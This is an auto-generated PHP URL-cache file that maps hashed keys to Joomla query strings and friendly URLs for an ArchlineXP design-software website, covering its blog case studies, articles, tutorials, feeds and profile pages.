+$this->_urlCache['0fa2ae5a1ea8c1b2e111b174dc565fd0']='index.php?option=com_content&Itemid=366&catid=24&id=1064&lang=en&view=article#blog/case-studies/we-design-it-reimagining-the-kitchen#0'; +$this->_urlCache['ada01c92c306d02cdac3a9437b83b83f']='index.php?option=com_content&Itemid=366&catid=24&id=1063&lang=en&view=article#blog/case-studies/harmony-of-a-spacious-and-bright-space#0'; +$this->_urlCache['61cd644b957daf881c9d93c9feac09ac']='index.php?option=com_content&Itemid=366&catid=24&id=1061&lang=en&view=article#blog/case-studies/a-harmonious-blend-of-bauhaus-and-industrial-styles#0'; +$this->_urlCache['4b752290ddca7784138315f333a93442']='index.php?option=com_content&Itemid=366&catid=24&id=1060&lang=en&view=article#blog/case-studies/casalines-a-harmonious-home-of-arches-and-lines#0'; +$this->_urlCache['569623a11cfd04d45e164ca2131e6493']='index.php?option=com_content&Itemid=366&catid=24&id=1058&lang=en&view=article#blog/case-studies/we-design-it-room-kitchen-in-luxury-design#0'; +$this->_urlCache['8443d853c26b2dc0698827839e4c0a05']='index.php?option=com_content&Itemid=366&catid=24&id=1057&lang=en&view=article#blog/case-studies/deco-hostel#0'; +$this->_urlCache['736576f42db09697b43a3066851e6dbf']='index.php?option=com_content&Itemid=366&catid=24&id=1056&lang=en&view=article#blog/case-studies/we-design-it-home-and-office-in-one#0'; +$this->_urlCache['72eec90e8a73e85aba9e2a17018c1727']='index.php?option=com_content&Itemid=366&catid=24&id=1054&lang=en&view=article#blog/case-studies/dream-home-with-sleek-elegant-design-elements#0'; +$this->_urlCache['c0371a7ae15b52c38d7dd44288c07b44']='index.php?option=com_content&Itemid=366&catid=24&id=1046&lang=en&view=article#blog/case-studies/exclusive-cafe-in-the-heart-of-budapest#0'; +$this->_urlCache['dd6a38b57a1e715ff1fb9c9f5c4adca1']='index.php?option=com_content&Itemid=366&catid=24&id=1048&lang=en&view=article#blog/case-studies/the-magic-of-hygge-danish-lifestyle#0'; +$this->_urlCache['3966fb9bea1cf9cd96d37054210789e2']='index.php?option=com_content&Itemid=366&catid=24&id=1047&lang=en&view=article#blog/case-studies/the-importance-of-an-electrical-concept-design#0'; +$this->_urlCache['9d599f985b582f8294173c7e389fcf83']='index.php?option=com_content&Itemid=366&catid=24&id=1045&lang=en&view=article#blog/case-studies/modern-glamour-the-home-of-an-imaginary-artist-couple#0'; +$this->_urlCache['a55c957e8f3d3234ab181a53b0b8f484']='index.php?option=com_content&Itemid=366&catid=24&id=1042&lang=en&view=article#blog/case-studies/we-design-it-from-unfavorable-to-functional#0'; +$this->_urlCache['2bdac180e5fae3ca82a3881918dfc802']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=31&view=category#blog/case-studies/Page-2-31#0'; +$this->_urlCache['15d8750128f74463b771cccfd58b315c']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=93&view=category#blog/case-studies/Page-4-31#0'; +$this->_urlCache['c8814944bbd8090c251ae688158516d8']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=62&view=category#blog/case-studies/Page-3-31#0'; +$shURLCacheCreationDate=1777888573; +$this->_urlCache['081cd3a9772f15b6a02fdb5d9e817246']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=rss&view=category#blog/design-projects/feed/rss#0'; +$this->_urlCache['f62e1c92bee76eb8a36d6e62881fd06b']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=atom&view=category#blog/design-projects/feed/atom#0'; +$this->_urlCache['5e68ad7b3f1fd7cd845edd277a64f464']='index.php?option=com_content&Itemid=366&catid=24&id=1086&lang=en&view=article#blog/case-studies/laura-puskas-graduation-project-featured-work#0'; +$this->_urlCache['03c4c6ae09a357eba9d720b7f14fba00']='index.php?option=com_content&Itemid=366&catid=24&id=1083&lang=en&view=article#blog/case-studies/katalin-palffy-graduation-project-featured-work#0'; +$this->_urlCache['229110b80e5ef25325cfaaa15e5a03cf']='index.php?option=com_content&Itemid=366&catid=24&id=1082&lang=en&view=article#blog/case-studies/nora-filone-rozgonyi-graduation-project-featured-work#0'; +$this->_urlCache['9ea34ec4d6d1e8d027618a843fa086a0']='index.php?option=com_content&Itemid=366&catid=24&id=1081&lang=en&view=article#blog/case-studies/csenge-szeles-graduation-project-featured-work#0'; +$this->_urlCache['981f84dd04b0d5cc5c604f99fcd33022']='index.php?option=com_content&Itemid=366&catid=24&id=1080&lang=en&view=article#blog/case-studies/szilvia-qerimi-nemeti-graduation-project-professional-award-third-place#0'; +$this->_urlCache['9ee01490cf6493333d3f03c7236525db']='index.php?option=com_content&Itemid=366&catid=24&id=1079&lang=en&view=article#blog/case-studies/zsofia-eke-ranga-graduation-project-professional-award-third-place#0'; +$this->_urlCache['09b16e60182442fd116980c00c004d83']='index.php?option=com_content&Itemid=366&catid=24&id=1078&lang=en&view=article#blog/case-studies/tamara-tihany-graduation-project-professional-award-second-place#1'; +$this->_urlCache['a29db52b0be4f10ba7170e3d515ed539']='index.php?option=com_content&Itemid=366&catid=24&id=1077&lang=en&view=article#blog/case-studies/dorka-pakodi-graduation-project-professional-grand-prize#0'; +$this->_urlCache['c2b3984245dc65e639e3a6155a6ae5fe']='index.php?option=com_content&Itemid=366&catid=24&id=1070&lang=en&view=article#blog/case-studies/exclusive-modern-bathroom#0'; +$this->_urlCache['e02fc7667aaabca5ba209a865dc59c3a']='index.php?option=com_content&Itemid=366&catid=24&id=1071&lang=en&view=article#blog/case-studies/a-masterpiece-in-15-square-meters-in-budapest#0'; +$this->_urlCache['044dd4771f3ec7e7056ea25aad1db096']='index.php?option=com_content&Itemid=366&catid=24&id=1074&lang=en&view=article#blog/case-studies/archlinexp-2025-d5-render-ferenczi-eva#0'; +$this->_urlCache['c149953e86eb725beeee54414f8096c6']='index.php?option=com_content&Itemid=366&catid=24&id=1069&lang=en&view=article#blog/case-studies/the-harmony-of-comfort-and-style-in-a-modern-bathroom#0'; +$this->_urlCache['0462993f323f0e73c0bcf29294ffa2b4']='index.php?option=com_content&Itemid=366&catid=24&id=1073&lang=en&view=article#blog/case-studies/floor-plan-sketches-for-spatial-orientation#0'; +$this->_urlCache['de26c1df6e55c5f2c47b0b096b74326d']='index.php?option=com_content&Itemid=366&catid=24&id=1072&lang=en&view=article#blog/case-studies/crimson-accents-and-quiet-luxury-an-award-winning-home#0'; +$this->_urlCache['5fd745b03c3bff66b2b3666316beb15e']='index.php?option=com_content&Itemid=366&catid=24&id=1068&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-eva-ferenczi#0'; +$this->_urlCache['ede0a13fdfc1588033b93e3f74e7d169']='index.php?option=com_content&Itemid=366&catid=24&id=1067&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-klaudia-aranyi#0'; +$this->_urlCache['6fb223a86c75142318de4f3cbfc7d221']='index.php?option=com_content&Itemid=366&catid=24&id=1066&lang=en&view=article#blog/case-studies/natural-elegance-in-a-modern-form#0'; +$this->_urlCache['1e9556d60e6bae62ad2cb914a474a633']='index.php?option=com_content&Itemid=366&catid=24&id=1065&lang=en&view=article#blog/case-studies/the-beginning-of-a-dream-on-34-square-meters#0'; +$this->_urlCache['0fa2ae5a1ea8c1b2e111b174dc565fd0']='index.php?option=com_content&Itemid=366&catid=24&id=1064&lang=en&view=article#blog/case-studies/we-design-it-reimagining-the-kitchen#0'; +$this->_urlCache['ada01c92c306d02cdac3a9437b83b83f']='index.php?option=com_content&Itemid=366&catid=24&id=1063&lang=en&view=article#blog/case-studies/harmony-of-a-spacious-and-bright-space#0'; +$this->_urlCache['61cd644b957daf881c9d93c9feac09ac']='index.php?option=com_content&Itemid=366&catid=24&id=1061&lang=en&view=article#blog/case-studies/a-harmonious-blend-of-bauhaus-and-industrial-styles#0'; +$this->_urlCache['4b752290ddca7784138315f333a93442']='index.php?option=com_content&Itemid=366&catid=24&id=1060&lang=en&view=article#blog/case-studies/casalines-a-harmonious-home-of-arches-and-lines#0'; +$this->_urlCache['569623a11cfd04d45e164ca2131e6493']='index.php?option=com_content&Itemid=366&catid=24&id=1058&lang=en&view=article#blog/case-studies/we-design-it-room-kitchen-in-luxury-design#0'; +$this->_urlCache['8443d853c26b2dc0698827839e4c0a05']='index.php?option=com_content&Itemid=366&catid=24&id=1057&lang=en&view=article#blog/case-studies/deco-hostel#0'; +$this->_urlCache['736576f42db09697b43a3066851e6dbf']='index.php?option=com_content&Itemid=366&catid=24&id=1056&lang=en&view=article#blog/case-studies/we-design-it-home-and-office-in-one#0'; +$this->_urlCache['72eec90e8a73e85aba9e2a17018c1727']='index.php?option=com_content&Itemid=366&catid=24&id=1054&lang=en&view=article#blog/case-studies/dream-home-with-sleek-elegant-design-elements#0'; +$this->_urlCache['c0371a7ae15b52c38d7dd44288c07b44']='index.php?option=com_content&Itemid=366&catid=24&id=1046&lang=en&view=article#blog/case-studies/exclusive-cafe-in-the-heart-of-budapest#0'; +$this->_urlCache['dd6a38b57a1e715ff1fb9c9f5c4adca1']='index.php?option=com_content&Itemid=366&catid=24&id=1048&lang=en&view=article#blog/case-studies/the-magic-of-hygge-danish-lifestyle#0'; +$this->_urlCache['3966fb9bea1cf9cd96d37054210789e2']='index.php?option=com_content&Itemid=366&catid=24&id=1047&lang=en&view=article#blog/case-studies/the-importance-of-an-electrical-concept-design#0'; +$this->_urlCache['9d599f985b582f8294173c7e389fcf83']='index.php?option=com_content&Itemid=366&catid=24&id=1045&lang=en&view=article#blog/case-studies/modern-glamour-the-home-of-an-imaginary-artist-couple#0'; +$this->_urlCache['a55c957e8f3d3234ab181a53b0b8f484']='index.php?option=com_content&Itemid=366&catid=24&id=1042&lang=en&view=article#blog/case-studies/we-design-it-from-unfavorable-to-functional#0'; +$this->_urlCache['2bdac180e5fae3ca82a3881918dfc802']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=31&view=category#blog/case-studies/Page-2-31#0'; +$this->_urlCache['15d8750128f74463b771cccfd58b315c']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=93&view=category#blog/case-studies/Page-4-31#0'; +$this->_urlCache['c8814944bbd8090c251ae688158516d8']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=62&view=category#blog/case-studies/Page-3-31#0'; +$shURLCacheCreationDate=1777888574; +$this->_urlCache['081cd3a9772f15b6a02fdb5d9e817246']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=rss&view=category#blog/design-projects/feed/rss#0'; +$this->_urlCache['f62e1c92bee76eb8a36d6e62881fd06b']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=en&layout=blog&type=atom&view=category#blog/design-projects/feed/atom#0'; +$this->_urlCache['5e68ad7b3f1fd7cd845edd277a64f464']='index.php?option=com_content&Itemid=366&catid=24&id=1086&lang=en&view=article#blog/case-studies/laura-puskas-graduation-project-featured-work#0'; +$this->_urlCache['03c4c6ae09a357eba9d720b7f14fba00']='index.php?option=com_content&Itemid=366&catid=24&id=1083&lang=en&view=article#blog/case-studies/katalin-palffy-graduation-project-featured-work#0'; +$this->_urlCache['229110b80e5ef25325cfaaa15e5a03cf']='index.php?option=com_content&Itemid=366&catid=24&id=1082&lang=en&view=article#blog/case-studies/nora-filone-rozgonyi-graduation-project-featured-work#0'; +$this->_urlCache['9ea34ec4d6d1e8d027618a843fa086a0']='index.php?option=com_content&Itemid=366&catid=24&id=1081&lang=en&view=article#blog/case-studies/csenge-szeles-graduation-project-featured-work#0'; +$this->_urlCache['981f84dd04b0d5cc5c604f99fcd33022']='index.php?option=com_content&Itemid=366&catid=24&id=1080&lang=en&view=article#blog/case-studies/szilvia-qerimi-nemeti-graduation-project-professional-award-third-place#0'; +$this->_urlCache['9ee01490cf6493333d3f03c7236525db']='index.php?option=com_content&Itemid=366&catid=24&id=1079&lang=en&view=article#blog/case-studies/zsofia-eke-ranga-graduation-project-professional-award-third-place#0'; +$this->_urlCache['09b16e60182442fd116980c00c004d83']='index.php?option=com_content&Itemid=366&catid=24&id=1078&lang=en&view=article#blog/case-studies/tamara-tihany-graduation-project-professional-award-second-place#1'; +$this->_urlCache['a29db52b0be4f10ba7170e3d515ed539']='index.php?option=com_content&Itemid=366&catid=24&id=1077&lang=en&view=article#blog/case-studies/dorka-pakodi-graduation-project-professional-grand-prize#0'; +$this->_urlCache['c2b3984245dc65e639e3a6155a6ae5fe']='index.php?option=com_content&Itemid=366&catid=24&id=1070&lang=en&view=article#blog/case-studies/exclusive-modern-bathroom#0'; +$this->_urlCache['e02fc7667aaabca5ba209a865dc59c3a']='index.php?option=com_content&Itemid=366&catid=24&id=1071&lang=en&view=article#blog/case-studies/a-masterpiece-in-15-square-meters-in-budapest#0'; +$this->_urlCache['044dd4771f3ec7e7056ea25aad1db096']='index.php?option=com_content&Itemid=366&catid=24&id=1074&lang=en&view=article#blog/case-studies/archlinexp-2025-d5-render-ferenczi-eva#0'; +$this->_urlCache['c149953e86eb725beeee54414f8096c6']='index.php?option=com_content&Itemid=366&catid=24&id=1069&lang=en&view=article#blog/case-studies/the-harmony-of-comfort-and-style-in-a-modern-bathroom#0'; +$this->_urlCache['0462993f323f0e73c0bcf29294ffa2b4']='index.php?option=com_content&Itemid=366&catid=24&id=1073&lang=en&view=article#blog/case-studies/floor-plan-sketches-for-spatial-orientation#0'; +$this->_urlCache['de26c1df6e55c5f2c47b0b096b74326d']='index.php?option=com_content&Itemid=366&catid=24&id=1072&lang=en&view=article#blog/case-studies/crimson-accents-and-quiet-luxury-an-award-winning-home#0'; +$this->_urlCache['5fd745b03c3bff66b2b3666316beb15e']='index.php?option=com_content&Itemid=366&catid=24&id=1068&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-eva-ferenczi#0'; +$this->_urlCache['ede0a13fdfc1588033b93e3f74e7d169']='index.php?option=com_content&Itemid=366&catid=24&id=1067&lang=en&view=article#blog/case-studies/archlinexp-2025-ai-render-klaudia-aranyi#0'; +$this->_urlCache['6fb223a86c75142318de4f3cbfc7d221']='index.php?option=com_content&Itemid=366&catid=24&id=1066&lang=en&view=article#blog/case-studies/natural-elegance-in-a-modern-form#0'; +$this->_urlCache['1e9556d60e6bae62ad2cb914a474a633']='index.php?option=com_content&Itemid=366&catid=24&id=1065&lang=en&view=article#blog/case-studies/the-beginning-of-a-dream-on-34-square-meters#0'; +$this->_urlCache['0fa2ae5a1ea8c1b2e111b174dc565fd0']='index.php?option=com_content&Itemid=366&catid=24&id=1064&lang=en&view=article#blog/case-studies/we-design-it-reimagining-the-kitchen#0'; +$this->_urlCache['ada01c92c306d02cdac3a9437b83b83f']='index.php?option=com_content&Itemid=366&catid=24&id=1063&lang=en&view=article#blog/case-studies/harmony-of-a-spacious-and-bright-space#0'; +$this->_urlCache['61cd644b957daf881c9d93c9feac09ac']='index.php?option=com_content&Itemid=366&catid=24&id=1061&lang=en&view=article#blog/case-studies/a-harmonious-blend-of-bauhaus-and-industrial-styles#0'; +$this->_urlCache['4b752290ddca7784138315f333a93442']='index.php?option=com_content&Itemid=366&catid=24&id=1060&lang=en&view=article#blog/case-studies/casalines-a-harmonious-home-of-arches-and-lines#0'; +$this->_urlCache['569623a11cfd04d45e164ca2131e6493']='index.php?option=com_content&Itemid=366&catid=24&id=1058&lang=en&view=article#blog/case-studies/we-design-it-room-kitchen-in-luxury-design#0'; +$this->_urlCache['8443d853c26b2dc0698827839e4c0a05']='index.php?option=com_content&Itemid=366&catid=24&id=1057&lang=en&view=article#blog/case-studies/deco-hostel#0'; +$this->_urlCache['736576f42db09697b43a3066851e6dbf']='index.php?option=com_content&Itemid=366&catid=24&id=1056&lang=en&view=article#blog/case-studies/we-design-it-home-and-office-in-one#0'; +$this->_urlCache['72eec90e8a73e85aba9e2a17018c1727']='index.php?option=com_content&Itemid=366&catid=24&id=1054&lang=en&view=article#blog/case-studies/dream-home-with-sleek-elegant-design-elements#0'; +$this->_urlCache['c0371a7ae15b52c38d7dd44288c07b44']='index.php?option=com_content&Itemid=366&catid=24&id=1046&lang=en&view=article#blog/case-studies/exclusive-cafe-in-the-heart-of-budapest#0'; +$this->_urlCache['dd6a38b57a1e715ff1fb9c9f5c4adca1']='index.php?option=com_content&Itemid=366&catid=24&id=1048&lang=en&view=article#blog/case-studies/the-magic-of-hygge-danish-lifestyle#0'; +$this->_urlCache['3966fb9bea1cf9cd96d37054210789e2']='index.php?option=com_content&Itemid=366&catid=24&id=1047&lang=en&view=article#blog/case-studies/the-importance-of-an-electrical-concept-design#0'; +$this->_urlCache['9d599f985b582f8294173c7e389fcf83']='index.php?option=com_content&Itemid=366&catid=24&id=1045&lang=en&view=article#blog/case-studies/modern-glamour-the-home-of-an-imaginary-artist-couple#0'; +$this->_urlCache['a55c957e8f3d3234ab181a53b0b8f484']='index.php?option=com_content&Itemid=366&catid=24&id=1042&lang=en&view=article#blog/case-studies/we-design-it-from-unfavorable-to-functional#0'; +$this->_urlCache['2bdac180e5fae3ca82a3881918dfc802']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=31&view=category#blog/case-studies/Page-2-31#0'; +$this->_urlCache['15d8750128f74463b771cccfd58b315c']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=93&view=category#blog/case-studies/Page-4-31#0'; +$this->_urlCache['c8814944bbd8090c251ae688158516d8']='index.php?option=com_content&Itemid=366&id=24&lang=en&layout=blog&limit=31&limitstart=62&view=category#blog/case-studies/Page-3-31#0'; +$shURLCacheCreationDate=1777888575; +$this->_urlCache['12deb8a31f2921dafda8c191fa9a9698']='index.php?option=com_users&lang=en&view=login#log-in/#0'; +$shURLCacheCreationDate=1777888576; +$this->_urlCache['fb135f70c1a646673cf8ac7350350770']='index.php?option=com_sppagebuilder&Itemid=223&id=48&lang=en&layout=edit&tmpl=component&view=form#48-user/edit#0'; +$shURLCacheCreationDate=1777888576; +$this->_urlCache['f9ab952bd973be08548b9de983061318']='index.php?option=com_sppagebuilder&Itemid=186&id=238&lang=en&layout=edit&tmpl=component&view=form#edit/238#0'; +$shURLCacheCreationDate=1777888637; +$this->_urlCache['681342e7419b66eebf4ca6e25d0035ec']='index.php?option=com_content&Itemid=124&format=feed&id=105&lang=en&type=rss&view=category#archline-xp/gallery/live-picture-of-month/feed/rss#0'; +$this->_urlCache['80126bfe1b7c58aedf54726a3fa3e0a9']='index.php?option=com_content&Itemid=124&format=feed&id=105&lang=en&type=atom&view=category#archline-xp/gallery/live-picture-of-month/feed/atom#0'; +$this->_urlCache['8125c5990fdce4eb52035f49980f8f69']='index.php?option=com_content&Itemid=124&catid=105&id=799&lang=en&view=article#archline-xp/gallery/live-picture-of-month/july-2019-live#0'; +$shURLCacheCreationDate=1777888681; +$this->_urlCache['f87a0a350c3a704c70473f40ae8d3926']='index.php?option=com_sppagebuilder&Itemid=213&id=56&lang=en&layout=edit&tmpl=component&view=form#edit/56#0'; +$shURLCacheCreationDate=1777888814; +$this->_urlCache['aff14b3fbaec34fb7f25cb17f70f6b53']='index.php?option=com_sppagebuilder&Itemid=771&id=320&lang=en&layout=edit&tmpl=component&view=form#edit/320#0'; +$shURLCacheCreationDate=1777888854; +$this->_urlCache['ddd4969d68e32624a4de9119ebba345e']='index.php?option=com_content&Itemid=175&catid=20&id=1049&lang=en&view=article#archline-xp/gallery/picture-of-the-month/2024-november#0'; +$shURLCacheCreationDate=1777888877; +$this->_urlCache['821c132e7eb434250bf4fcb8b0fe890e']='index.php?option=com_sppagebuilder&Itemid=597&id=210&lang=en&view=page#products/compare-lt-vs-professional#1'; +$shURLCacheCreationDate=1777889169; +$this->_urlCache['bd3110c62e47ef14645caa9337afe307']='index.php?option=com_sppagebuilder&Itemid=597&id=210&lang=en&layout=edit&tmpl=component&view=form#210-archline-xp-lt-features/edit#0'; +$shURLCacheCreationDate=1777889170; +$this->_urlCache['8a7f8e6f2e8107dfbc9c7a154ca25018']='index.php?option=com_content&Itemid=367&catid=25&id=768&lang=en&view=article#blog/professional-articles/how-to-import-and-export-dwg-files-in-archline-xp#0'; +$shURLCacheCreationDate=1777889319; +$this->_urlCache['2078f72f8338eb636c0cdd80faf0fd73']='index.php?option=com_content&Itemid=367&catid=25&id=658&lang=en&view=article#blog/professional-articles/the-archline-xp-holiday-special#0'; +$shURLCacheCreationDate=1777889329; +$this->_urlCache['afabfce44572c5271237051d802e5f15']='index.php?option=com_sppagebuilder&Itemid=222&id=300&lang=en&layout=edit&tmpl=component&view=form#edit/300#0'; +$shURLCacheCreationDate=1777889441; +$this->_urlCache['9844d0e4ff2b67d4e1c3e2f9c292ff6a']='index.php?option=com_content&Itemid=267&id=18&lang=en&layout=blog&view=category#education/tips-documentation/helping-tips/#0'; +$shURLCacheCreationDate=1777889459; +$this->_urlCache['5209b43d8f174c4d5b19a09ab85b23c4']='index.php?option=com_sppagebuilder&Itemid=795&id=350&lang=en&layout=edit&tmpl=component&view=form#edit/350#0'; +$shURLCacheCreationDate=1777889719; +$this->_urlCache['ea845d5385dd4cbe40e67c134f791071']='index.php?option=com_content&Itemid=367&catid=25&id=480&lang=en&view=article#blog/professional-articles/a-practical-guide-11-steps-to-master-interior-design-cad#0'; +$shURLCacheCreationDate=1777890037; +$this->_urlCache['c821e951fc469c42a41133d1365ecd09']='index.php?option=com_content&Itemid=124&catid=58&id=583&lang=en&view=article#legal/company-profile#0'; +$shURLCacheCreationDate=1777890105; +$this->_urlCache['d3133a1cf7bead57b10fa378b99b3530']='index.php?option=com_content&Itemid=366&catid=24&id=1038&lang=en&view=article#blog/case-studies/modern-luxury-and-vintage-elegance#0'; +$shURLCacheCreationDate=1777890524; +$this->_urlCache['02906781503dbc499dbbaf0dbe2ef9a6']='index.php?option=com_content&Itemid=124&catid=2&id=949&lang=en&view=article#preliminary-course-2022#0'; +$this->_urlCache['e493635dbf5917aa50922ecfd07cefcc']='index.php?option=com_jsn&Itemid=&id=27707&lang=en&view=profile#mate96#0'; +$shURLCacheCreationDate=1777890848; +$this->_urlCache['dcf1f1b9797ad63e63d17d99369b97ec']='index.php?option=com_sppagebuilder&Itemid=107&id=86&lang=en&layout=edit&tmpl=component&view=form#86-contact/edit#0'; +$shURLCacheCreationDate=1777890857; +$this->_urlCache['643bbaf3f9e9b56de0e4d4c0ec3e5f9d']='index.php?option=com_content&Itemid=367&id=25&lang=en&view=category#blog/professional-articles/#0'; +$shURLCacheCreationDate=1777890895; +$this->_urlCache['3827ad7c883b4a81c221ed007631ca53']='index.php?option=com_sppagebuilder&Itemid=209&id=90&lang=en&view=page#education/registration-and-activation#0'; +$shURLCacheCreationDate=1777890901; +$this->_urlCache['c4d686a2b1445bba00b3cf5d64c48224']='index.php?option=com_sppagebuilder&Itemid=423&id=99&lang=en&layout=edit&tmpl=component&view=form#99-upcoming-events/edit#0'; +$shURLCacheCreationDate=1777890931; +$this->_urlCache['6bddcd5a1738ab737d0ee4f3ddc3e9cd']='index.php?option=com_sppagebuilder&Itemid=541&id=183&lang=en&view=page#education/tutorial-videos/archline-xp-architecture-level-2/terrain-and-site-plan-architecture-level-2#0'; +$shURLCacheCreationDate=1777890965; +$this->_urlCache['9925e78807eb61500a507b52cbee693a']='index.php?option=com_sppagebuilder&Itemid=541&id=183&lang=en&layout=edit&tmpl=component&view=form#183-terrain-and-site-plan-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777890966; +$this->_urlCache['b4e463c48dd2a6a2433bd3a77a3be523']='index.php?option=com_sppagebuilder&Itemid=705&id=266&lang=en&layout=edit&tmpl=component&view=form#edit/266#0'; +$shURLCacheCreationDate=1777891022; +$this->_urlCache['b3c790745dadb9260ce166e692eccf3a']='index.php?option=com_sppagebuilder&Itemid=501&id=144&lang=en&layout=edit&tmpl=component&view=form#144-tutorial-videos-archline-xp-level-1/edit#0'; +$shURLCacheCreationDate=1777891107; +$this->_urlCache['25fdcb8624bd7c63656cddd785b16819']='index.php?option=com_content&Itemid=367&catid=25&id=479&lang=en&view=article#blog/professional-articles/how-to-pick-the-right-design-software#0'; +$shURLCacheCreationDate=1777891185; +$this->_urlCache['f07edd656b425e1b998348a05c0c461d']='index.php?option=com_content&Itemid=367&catid=25&id=975&lang=en&view=article#blog/professional-articles/interoperability-cad-bim#0'; +$shURLCacheCreationDate=1777891196; +$this->_urlCache['931d3d18ece32ba54778393158901d45']='index.php?option=com_sppagebuilder&Itemid=751&id=294&lang=en&layout=edit&tmpl=component&view=form#edit/294#0'; +$shURLCacheCreationDate=1777891599; +$this->_urlCache['186632c3855a05f943e1d981ab2c29a0']='index.php?option=com_content&Itemid=124&format=feed&id=16&lang=en&type=rss&view=category#workshop/feed/rss#0'; +$this->_urlCache['77300fe8e759ab09c7df33bcdd3c7e52']='index.php?option=com_content&Itemid=124&format=feed&id=16&lang=en&type=atom&view=category#workshop/feed/atom#0'; +$this->_urlCache['f0dd95c00b27ad3ced5211c86ca70960']='index.php?option=com_content&Itemid=124&catid=16&id=337&lang=en&view=article#workshop/mitol-kulonlegesek-a-workshopok#0'; +$this->_urlCache['bb87568b0599b5a5f61ba106db9bc78f']='index.php?option=com_content&Itemid=124&catid=16&id=338&lang=en&view=article#workshop/regisztracios-es-lemondasi-feltetelek#0'; +$shURLCacheCreationDate=1777891801; +$this->_urlCache['b20dabd72349b3dfe6527805a1018f2c']='index.php?option=com_sppagebuilder&Itemid=708&id=270&lang=en&layout=edit&tmpl=component&view=form#edit/270#0'; +$shURLCacheCreationDate=1777891836; +$this->_urlCache['924fc0beebade3d90b35888192a2b19a']='index.php?option=com_sppagebuilder&Itemid=526&id=167&lang=en&layout=edit&tmpl=component&view=form#167-textures-and-fabrics-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777891919; +$this->_urlCache['bfde8357786009cefbbd5af133f0e99d']='index.php?option=com_content&Itemid=367&catid=25&id=783&lang=en&view=article#blog/professional-articles/everything-you-need-to-know-about-tiling-in-archline-xp#0'; +$shURLCacheCreationDate=1777892824; +$this->_urlCache['ebe57d2f2498e6e01323c8f8cc7d80a2']='index.php?option=com_jsn&Itemid=&id=1649&lang=en&view=profile#infonsinteriors.com.html#0'; +$this->_urlCache['a8030a29dc9011b843a066cf6d434f28']='index.php?option=com_jsn&Itemid=&id=1474&lang=en&view=profile#antoninbeafreemail.hu.html#0'; +$this->_urlCache['56245594571275b307b5b72fa329306c']='index.php?option=com_jsn&Itemid=&id=2429&lang=en&view=profile#flora.oroszsiroco.hu.html#0'; +$this->_urlCache['815736408edff758edab6cd71b101e8e']='index.php?option=com_content&Itemid=124&format=feed&id=38&lang=en&type=rss&view=category#projects/interior-design/feed/rss#0'; +$this->_urlCache['d6a7574dcd972a67ab370029c6c610a2']='index.php?option=com_content&Itemid=124&format=feed&id=38&lang=en&type=atom&view=category#projects/interior-design/feed/atom#0'; +$this->_urlCache['678b57959af3f5b7ac718f3cc8d49173']='index.php?option=com_content&Itemid=124&catid=38&id=388&lang=en&view=article#projects/interior-design/dining-room#0'; +$this->_urlCache['68369b2f76409524c71e79918830b57d']='index.php?option=com_content&Itemid=124&catid=38&id=384&lang=en&view=article#projects/interior-design/courtfield-garden#0'; +$this->_urlCache['f61b149c869e584c09840041bda56d7b']='index.php?option=com_content&Itemid=124&catid=38&id=378&lang=en&view=article#projects/interior-design/apartment#0'; +$this->_urlCache['0fa39fbba8ce4032af6cc18a57b3bce0']='index.php?option=com_content&Itemid=124&catid=38&id=377&lang=en&view=article#projects/interior-design/chelsea-orangery#0'; +$this->_urlCache['5147c55b70c3e7447aa1001a5edba3c9']='index.php?option=com_content&Itemid=124&catid=38&id=376&lang=en&view=article#projects/interior-design/virtual-staging#0'; +$this->_urlCache['663e0789452f76c442b5860120926a39']='index.php?option=com_content&Itemid=124&catid=38&id=375&lang=en&view=article#projects/interior-design/mandaloun-wembley-design#0'; +$this->_urlCache['96ec7f9d162950ae7790a1c75d0762b1']='index.php?option=com_content&Itemid=124&catid=38&id=370&lang=en&view=article#projects/interior-design/living-room-cabinets#0'; +$this->_urlCache['293eec5b580e031e13fbe0b231626071']='index.php?option=com_content&Itemid=124&catid=38&id=361&lang=en&view=article#projects/interior-design/loft-apartment#0'; +$shURLCacheCreationDate=1777893037; +$this->_urlCache['3cc0c914fd06c7197a94ad073b0b9372']='index.php?option=com_jsn&Itemid=&id=31728&lang=en&view=profile#balint.kardos.html#0'; +$this->_urlCache['b8ac4228d4fac49c15f416e5ab38f0ac']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&type=rss&view=category#blog/professional-articles/feed/rss#0'; +$this->_urlCache['e45253fd873d545b2895bbb61927a17f']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&type=atom&view=category#blog/professional-articles/feed/atom#0'; +$this->_urlCache['c73a642a73b0a56d75f68f09cac0905a']='index.php?option=com_content&Itemid=367&catid=25&id=1094&lang=en&view=article#blog/professional-articles/archlinexp-2026-d5-render-integration-new-dimension-in-visualization#0'; +$this->_urlCache['e4245497dd4d4257b005493fef478b39']='index.php?option=com_content&Itemid=367&catid=25&id=993&lang=en&view=article#blog/professional-articles/making-workflow-easier-with-archlinexp#0'; +$this->_urlCache['cca8f9fbc44f15a7e58230c6e8c796c0']='index.php?option=com_content&Itemid=367&catid=25&id=979&lang=en&view=article#blog/professional-articles/interview-cyrille-chabert#0'; +$this->_urlCache['4eb5fb50c226225dceff318859ce61b1']='index.php?option=com_content&Itemid=367&catid=25&id=966&lang=en&view=article#blog/professional-articles/rendering-guide-2023#0'; 